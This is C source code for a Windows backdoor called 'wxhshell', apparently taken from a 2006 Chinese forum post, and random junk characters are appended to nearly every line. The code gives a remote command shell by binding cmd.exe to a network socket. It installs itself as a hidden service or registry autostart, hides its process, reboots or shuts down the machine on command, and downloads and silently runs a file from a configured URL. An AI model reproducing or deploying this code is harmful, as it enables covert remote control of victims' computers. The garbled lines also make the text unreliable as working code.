  4{pa`o3  
  // 帮助 8!fw Xm  
  case '?': { &rubA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =\.|'  
    break; "AVc^>  
  } ' r/1+.  
  // 安装 5**xU+&  
  case 'i': { > %,tyJ~  
    if(Install()) E%N]t} }[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I(SE)%!%S  
    else R >TtAm0N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~c"c9s+o  
    break; z7o5 9&  
    } +Gko[<  
  // 卸载 ;d4_l:9p  
  case 'r': { (XQG"G%U6W  
    if(Uninstall()) DQd&:J@?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}@l l^  
    else h?sh#j6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iuEdm:pW  
    break; \kx9V|A'  
    } < jF<_j  
  // 显示 wxhshell 所在路径 s#ykD{ Z  
  case 'p': { yI)2:Ca*  
    char svExeFile[MAX_PATH]; e [n>U@  
    strcpy(svExeFile,"\n\r"); Y9N:%[ :>W  
      strcat(svExeFile,ExeFile); 4kiu*T  
        send(wsh,svExeFile,strlen(svExeFile),0); vjb{h'v  
    break; D? ($R9t  
    } smggr{-  
  // 重启 ;_!;D#:  
  case 'b': { /+iaw~={"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); be_t;p`3  
    if(Boot(REBOOT)) bZ)Jgz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 827N?pU$)  
    else { Nf1l{N  
    closesocket(wsh); ;%}  
    ExitThread(0); sx;1V{|g  
    } 4Hw8w7us:  
    break; E+gUzz5  
    } qXW 5_iX  
  // 关机 W$W7U|Z9y+  
  case 'd': { c!c!;(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A+'j@c\&!  
    if(Boot(SHUTDOWN)) >}iYZ[ V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eL.S="  
    else { xAI<<[-  
    closesocket(wsh); <_5z^@N3$  
    ExitThread(0); BmZd,}{  
    } M1:m"#=  
    break; 8mi IlB  
    } +J2=\YO  
  // 获取shell \*7Tj-#  
  case 's': { 28-@Ga4  
    CmdShell(wsh); &Z?uK,8  
    closesocket(wsh); WE3l*7<@  
    ExitThread(0); KQk;:1hW  
    break; j JW0a\0  
  } BkcOsJIz  
  // 退出 2 IGAZ%%  
  case 'x': { g)zy^ aDf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [30<  0  
    CloseIt(wsh); g$ h!:wW  
    break; P _9O8"W  
    } Wl1%BN0>  
  // 离开 _+GCd8d  
  case 'q': { )gE:@ 3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qVf~\H@  
    closesocket(wsh); E @7! :  
    WSACleanup(); [mhY_Hmz]  
    exit(1); n[<Vj1n  
    break; {2,V3*NF  
        } ,E_hG3}}  
  } '+$2<Ys  
  } `H\^#Zu  
1iUy*p65:  
  // 提示信息 V r y#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j0Q ;OKu  
} A2xORG&FD  
  } ]LD@I;(_  
# H4dmnV  
  return; ,+2ytN*  
} hI"I#(*jA%  
aFLm,  
// shell模块句柄 VBOq~>V6(v  
int CmdShell(SOCKET sock) TygR G+G-  
{ do G&qXw  
STARTUPINFO si; mFT[[Z#  
ZeroMemory(&si,sizeof(si)); hNQ,U{`;^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k1X<jC]P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >J4_/p>Qs  
PROCESS_INFORMATION ProcessInfo; Qq5)|m  
char cmdline[]="cmd"; {1FY HM^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T\OLysc  
  return 0; gbF.Q7?$u  
} x;ujR<  
SwQb"  
// 自身启动模式 hd\iW7  
int StartFromService(void) eI- ~ +.  
{ J|s4c`=  
typedef struct &0M^UvO  
{ /<GygRs  
  DWORD ExitStatus; ) ><{A  
  DWORD PebBaseAddress; <MY_{o8d  
  DWORD AffinityMask; {<bByHT!  
  DWORD BasePriority; C0'Tua'  
  ULONG UniqueProcessId; y>|7'M*+  
  ULONG InheritedFromUniqueProcessId; "xw2@jGpG  
}   PROCESS_BASIC_INFORMATION; HdVGkv/  
P\SE_*&  
PROCNTQSIP NtQueryInformationProcess; HZR~r:_ i  
\ ddbqg?`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~W!sxM5(*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JrO2"S  
Uc \\..Cf  
  HANDLE             hProcess; g!4"3Dtdg  
  PROCESS_BASIC_INFORMATION pbi; ceAK;v o  
hb`(d_=7F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &AC-?R|Dp  
  if(NULL == hInst ) return 0; W*gu*H^s~  
jh9^5"vQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IS"UBJ6p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BH\qm (X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n ,`!yw  
!qT.D:!@zF  
  if (!NtQueryInformationProcess) return 0; HnrT;!C~  
\S3C"P%w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xj(&EGY:  
  if(!hProcess) return 0; &`{%0r[UD#  
amOBUD5Ld`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t[%9z6t  
^KmyB6Yg  
  CloseHandle(hProcess); J7$5<  
#BF(#1:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8 z\WyDz  
if(hProcess==NULL) return 0; e%#9|/uP  
anHP5gD  
HMODULE hMod;  !1;DRF  
char procName[255]; s+9q :  
unsigned long cbNeeded; {V,rWg  
-_v[oqf$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gQh;4v  
ewD61Y8-  
  CloseHandle(hProcess); p<tj6O  
> PfYHO  
if(strstr(procName,"services")) return 1; // 以服务启动 vV,H@WK  
L9&Z?$6J_p  
  return 0; // 注册表启动 IKH#[jW'IB  
} ~%m-}Sxc  
yD(0:g#  
// 主模块 q#F;GD  
int StartWxhshell(LPSTR lpCmdLine) R2-OT5Ej  
{ (WX,&`a<$  
  SOCKET wsl; b2 duC  
BOOL val=TRUE; Z'hW;^e%_z  
  int port=0; =k'3rm*ld  
  struct sockaddr_in door;  Jcy  
!Tr +:SM  
  if(wscfg.ws_autoins) Install(); 3T%WfS+  
Fn yA;,*  
port=atoi(lpCmdLine); =&< s*-l[  
\,oT(p4N%M  
if(port<=0) port=wscfg.ws_port; esWgYAc3{  
y;3vr1?  
  WSADATA data; Xq1n1_Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -%NT)o  
 0'%R@|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /m(vIl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mM&H; W  
  door.sin_family = AF_INET; 7?dB&m6W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UXnd~DA  
  door.sin_port = htons(port); <$K%u?  
;a*i*{\Rm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  \|L@  
closesocket(wsl); ;a[56W  
return 1; rX)PN3TD  
} ]@)X3}"!  
y/'2WO[  
  if(listen(wsl,2) == INVALID_SOCKET) { H'P1EZtq  
closesocket(wsl); ehoDWO]S  
return 1;  ZOi8)Y~  
} ,0[bzk  
  Wxhshell(wsl); 1BmevE a)  
  WSACleanup(); O sbY}*S  
+MIDq{B  
return 0; dyC: Mko=  
w$u=_  
} dc|"34;^"  
u yzc"d i  
// 以NT服务方式启动 ^8a,gA8.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <}L`d(E@f  
{ i-vhX4:bd  
DWORD   status = 0; |)B&-~a+p  
  DWORD   specificError = 0xfffffff; "@;q! B.qo  
DyD#4J)E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c5+oP j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Kzb&aOw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hCD0Zel  
  serviceStatus.dwWin32ExitCode     = 0; n{6XtIoYq  
  serviceStatus.dwServiceSpecificExitCode = 0; 6@t4pML  
  serviceStatus.dwCheckPoint       = 0; l`UJHX  
  serviceStatus.dwWaitHint       = 0; T2AyQ~5~  
\SHYwD}*Pr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A|,\}9)4X[  
  if (hServiceStatusHandle==0) return; be|k"s|6)  
)O#]Wvr  
status = GetLastError(); hc4<`W{  
  if (status!=NO_ERROR) 3J7TWOJVw  
{ Z2_eTC u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ou"QUn|  
    serviceStatus.dwCheckPoint       = 0; I3uaEv7OZc  
    serviceStatus.dwWaitHint       = 0; EW%%W6O6  
    serviceStatus.dwWin32ExitCode     = status; 2l}FOdq  
    serviceStatus.dwServiceSpecificExitCode = specificError; &cV$8*2b^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oz# $x  
    return; iW(HOsA  
  } [rC-3sGar  
mL?9AxO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hPE#l?H@A  
  serviceStatus.dwCheckPoint       = 0; >pW8K[  
  serviceStatus.dwWaitHint       = 0; ( \{9W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R rs?I,NV  
} S$HzuK\f  
MUh )  
// 处理NT服务事件,比如:启动、停止 mk2T   
VOID WINAPI NTServiceHandler(DWORD fdwControl) (YVl5}V  
{ \bw71( Q  
switch(fdwControl) UO47XAO  
{ Qw!cd-zc  
case SERVICE_CONTROL_STOP: 1&\_|2  
  serviceStatus.dwWin32ExitCode = 0; #O6SEK|Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kj~)#KDN  
  serviceStatus.dwCheckPoint   = 0; ^hv  
  serviceStatus.dwWaitHint     = 0; 8>RGmue  
  { ?7 e|gpQ|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V@&zn8?  
  } `<i|K*u  
  return; Q^$IlzG7i  
case SERVICE_CONTROL_PAUSE: ]:(>r&'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g dT3,8`#[  
  break; S5*wUd*p#  
case SERVICE_CONTROL_CONTINUE: ~Z!xS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1k6f|Al -  
  break; "#z4  
case SERVICE_CONTROL_INTERROGATE: O@{ JB  
  break; zNofI$U  
};  LKieOgX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gV1&b (h  
} lEIX,amwa  
k!H;(B"s-  
// 标准应用程序主函数 "%dWBvuO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "(PJh\S>S  
{ K++pH~o  
g e)g?IP4  
// 获取操作系统版本 =B4U~|k  
OsIsNt=GetOsVer(); M7^PWC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H_sLviYLu  
0kS[`a(}J  
  // 从命令行安装 rVowHP  
  if(strpbrk(lpCmdLine,"iI")) Install(); _m;0%]+  
LH@)((bi4v  
  // 下载执行文件 'uBXSP#  
if(wscfg.ws_downexe) { !SEHDRp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IE.JIi^w  
  WinExec(wscfg.ws_filenam,SW_HIDE); "2;$?*hO#  
} rQg7r>%Q  
kD dY i7g>  
if(!OsIsNt) { .",E}3zn  
// 如果时win9x,隐藏进程并且设置为注册表启动 $j0] +vT  
HideProc(); sJg-FVe2  
StartWxhshell(lpCmdLine); xfCq;?MupW  
} y K)7%j!  
else ,uqSq  
  if(StartFromService()) k<wX??'  
  // 以服务方式启动 #x$.  
  StartServiceCtrlDispatcher(DispatchTable); 28JWQ%-  
else |C?<!6.QmV  
  // 普通方式启动 (`x6QiG!  
  StartWxhshell(lpCmdLine); 7\@[e, ^9  
 Q<B=m6~  
return 0; VJ;n0*/  
}
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只看该作者 1 发表于: 2006-10-10
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